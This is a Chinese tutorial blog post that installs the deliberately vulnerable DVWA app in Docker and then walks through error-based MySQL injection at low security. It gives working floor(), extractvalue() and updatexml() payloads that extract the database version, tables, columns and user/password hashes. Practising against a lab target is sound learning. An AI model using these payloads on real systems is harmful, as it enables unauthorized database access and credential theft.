docker下载dvwa镜像,报错型注入dvwa,low级

一,安装并配置docker

1,更新源,apt-get update && apt-get upgrade && apt-get clean

2,安装docker,apt-get install docker.io

3, 配置docker加速器,vim /etc/docker/daemon.json

{
"registry-mirrors": [
"https://dockerhub.azk8s.cn",
"https://reg-mirror.qiniu.com"
]
}

二、使用docker下载安装运行dvwa

1,搜索dvwa镜像,docker search dvwa

2,安装dvwa镜像,docker pull citizenstig/dvwa

3,查看确定下载完成,输入命令docker
images,确定有dvwa

4.运行dvwa,docker run -d –rm -p 8008:80 –name dvwa d9c7999da701

5,确定dvwa容器使用的端口被打开,netstat -ntulp |grep 8008

6,靶机访问127.0.0.1:8008确定可以访问

7,点击Create/Reset
Database创建好数据库,点击Login

8,用户名admin,密码password,访问正常,docker安装dvwa完成

三、使用报错型sql注入dvwa,low级别

1,访问靶机ip 192.168.190.134,登录dvwa

2,设置级别为low

3,选择SQL Injection,进入到sql注入页面,使用floor()报错函数进行注入,获取数据库版本信息

1' and 1=1 union select 1,(select 1 from
(select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from
information_schema.tables group by a)b)#

4,获取数据库表名

1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select database()),'~', floor(rand(0)*2)) as a
from information_schema.tables group by a)b)#

5,获取数据库的表,

1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select table_name from information_schema.tables
where table_schema='dvwa' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables
group by a)b)#

6,获取表中列名

1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select column_name from information_schema.columns
where table_name='users' limit 0,1),'~',floor(rand(0)*2)) as a from
information_schema.tables group by a)b)#

其他字段修改limit值一个个就可以爆出来就不例举了

7,根据之前获取的列名,发现敏感列user和password获取字段值

1' or 1=2 union select 1, (select 1 from
(select count(*),concat('~',(select concat(user,0x7e,password) from users limit
0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

修改Limit值直到获取不到,就可以得到表中所有用户账户密码信息了

使用extractvalue报错函数

extractvalue():从目标XML中返回包含所查询值的字符串。

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

使用concat拼接,连接字符串为”~”,因为”~”不是路径符号,查询语句会报错,会将我们所需的信息返回出来

1'and extractvalue(1,concat(0x7e,(select concat(user,0x7e,password) from users limit 0,1),0x7e))#

updatexml()函数报错注入,类似extractvalue

语法:updatexml(xml_target,xpath_expr,new_xml)

updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。
简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

如:updatexml(<a><b><c>asd</c></b><e></e></a>,
'//b', <f>abc</f>),
运行结果:<a><f>abc</f><e></e></a>,
其中'//b'的斜杠表示不管b节点在哪一层都替换掉,而'/b'则是指在根目录下替换,

注入原理

updatexml()的xml_target和new_xml参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()获取数据的固定payload是:

or updatexml(1,concat('#',(select * from
(select ...) a)),0)

1'or
updatexml(1,concat('#',(database())),0)#

1'or updatexml(1,concat(0x7e,(select
group_concat(user,0x7e,password) from users limit 0,1)),0)#

2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa的更多相关文章

  1. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  2. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  3. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  4. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  5. DVWA中low级的sql注入漏洞的简单复现

    第一次成功复现一个简单漏洞,于是写下这篇随笔记录一下 首先我们来看dvwa中low级的sql注入的源码 源码文件路径如下图: 源码如下: <?php if(isset($_GET['Submit ...

  6. 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记

    pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...

  7. SQL注入(dvwa环境)

    首先登录DVWA主页: 1.修改安全级别为LOW级(第一次玩别打脸),如图中DVWA Security页面中. 2.进入SQL Injection页面,出错了.(心里想着这DVWA是官网下的不至于玩不 ...

  8. 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)

    前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...

  9. docker 使用报错的相关问题

    docker 创建本地主机实例Virtualbox 驱动报错,显示没有下载这个驱动 解决方案,下载virtuabox. https://www.cnblogs.com/effortday/p/1502 ...

随机推荐

  1. iOS开发高级分享 - Unread的下拉式选单

    解构革命的演变 背景 2013年中期,RSS世界遭受了沉重打击.谷歌宣布,他们(*的*)RSS订阅服务,[谷歌阅读器],是被关闭了.有了它,数以百万计的声音突然惊恐地大叫,并突然保持沉默. 使用量下降 ...

  2. 基于深度学习方法的dota2游戏数据分析与胜率预测(python3.6+keras框架实现)

    很久以前就有想过使用深度学习模型来对dota2的对局数据进行建模分析,以便在英雄选择,出装方面有所指导,帮助自己提升天梯等级,但苦于找不到数据源,该计划搁置了很长时间.直到前些日子,看到社区有老哥提到 ...

  3. justjavac(迷渡)知乎live--<<前端工程师的入门与进阶>>听讲总结

    知乎听讲总结 知乎live----jjc<前端工程师的入门进阶> git地址 内容 前端的基础知识,计算机专业基础知识感觉还行.前端后台都有做过,现在觉得自己要深入.但是只看框架源码和自己 ...

  4. day14作业

    文件内容如下,标题为:姓名,性别,年纪,薪资 egon male 18 3000 alex male 38 30000 wupeiqi female 28 20000 yuanhao female 2 ...

  5. spring-boot-plus是易于使用,快速,高效,功能丰富,开源的spring boot 脚手架.

    Everyone can develop projects independently, quickly and efficiently! spring-boot-plus是一套集成spring bo ...

  6. 神舟+win10+ubuntu16.04+256GSSD+1THHD双系统安装加openssl踩坑之旅

    上海最近搞活动调休,要搞深度学习,win上还是不方便,准备弄个ubuntu.于是有以下回忆文字. 在机器上装了个双系统.花了两天.再也不想玩了. 准备用ubuntu来做深度学习的. 本文写于2019年 ...

  7. Linux Cannot allocate memory问题

    查找了一下相关文档,发现这个错误的含义其实就是像它自己说的,没法分配内存了. The problem is inherent with the way Java allocates memory wh ...

  8. 第三十七章 POSIX线程(一)

    POSIX线程库相关介绍   与线程有关的函数构成了一个完整的系列,绝大多数函数的名字都有"pthread_"开头   要使用这些函数库,都需要加入头文件"<pth ...

  9. [考试反思]0822NOIP模拟测试29:延续

    想保持优秀很困难 但是想持续垫底却很简单 但是你不想垫底的话持续垫底也很容易... 分AB卷,A卷共15人. skyh,tdcp,kx155,B哥145... 我:35,倒数第一. 板子专题,爆零快乐 ...

  10. 「考试」num (破800纪念)

    是第800题啦. 怎么说,$rvalue$学长写的已经挺好的了,我在这里做一点补充,写一点理解. 但是这道题真的值得写一下题解,毕竟一百行也算是数论工程题了. 定义函数 $Fp(k,n)$为$n$中$ ...